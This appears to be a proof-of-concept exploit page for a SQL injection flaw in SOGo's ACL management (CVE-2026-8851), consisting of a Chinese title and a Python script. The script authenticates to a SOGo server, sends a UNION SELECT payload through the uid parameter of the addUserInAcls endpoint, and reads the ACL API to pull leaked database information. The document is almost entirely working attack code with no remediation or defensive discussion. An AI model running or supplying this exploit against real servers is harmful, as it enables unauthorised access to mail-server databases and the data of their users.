SOGo ACL管理SQL注入漏洞 (CVE-2026-8851)

import requests # Target configuration target_url = "https://sogo-example.com/SOGo" username = "[email protected]" password = "password" session = requests.Session() # 1. Authenticate login_payload = { "userName": username, "password": password, "domain": "example.com", "language": "en", "theme": "default" } session.post(f"{target_url}/connect", data=login_payload) # 2. Exploit SQL Injection in addUserInAcls # The uid parameter is vulnerable. We inject a subquery to extract data. # Example: Extract version() into the sogo_acl table. malicious_uid = "test' UNION SELECT NULL, version(), NULL, NULL, NULL-- -" exploit_url = f"{target_url}/acl/addUserInAcls" payload = { "uid": malicious_uid, "folder": "personal/test_user" } response = session.post(exploit_url, data=payload) if response.status_code == 200: print("[+] SQL Injection payload sent successfully.") # 3. Retrieve injected data via /acls API # The data written to sogo_acl can now be read acl_url = f"{target_url}/acls" acl_response = session.get(acl_url) print("[+] Checking for leaked data in ACL response:") if "PostgreSQL" in acl_response.text or "mysql" in acl_response.text: print(acl_response.text) else: print("Data not found directly, check database manually.") else: print(f"[-] Exploit failed. Status code: {response.status_code}")